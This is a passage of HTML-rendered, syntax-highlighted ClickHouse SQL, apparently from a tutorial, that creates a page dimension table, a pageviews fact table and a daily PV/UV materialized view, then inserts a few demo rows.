&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MergeTree&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 4. 事实表：页面访问日志 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXISTS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageviews&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;-- 停留秒数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MergeTree&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PARTITION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;toYYYYMM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 5. 物化视图：每日 PV / UV 聚合 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MATERIALIZED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;VIEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXISTS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pv_uv_daily&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SummingMergeTree&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PARTITION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;toYYYYMM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uniqExact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uv&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageviews&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;GROUP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 6. 演示数据插入 ---------------------------------------- */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 用户维度 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;signup_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2024-06-01&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2024-07-15&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Cathy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2024-11-30&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 页面维度 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/home&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;landing&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/pricing&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;content&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 页面访问日志 */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;testdb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageviews&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;VALUES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13 09:17:00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13 09:18:07&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-13 09:19:02&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-14&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-14 10:03:45&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-14&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2025-07-14 10:05:22&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 7. 快速验证 --------------------------------------------- */&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* 查看当前数据库已创建的表 */&lt;/span&gt;&lt;span class="w"&gt;
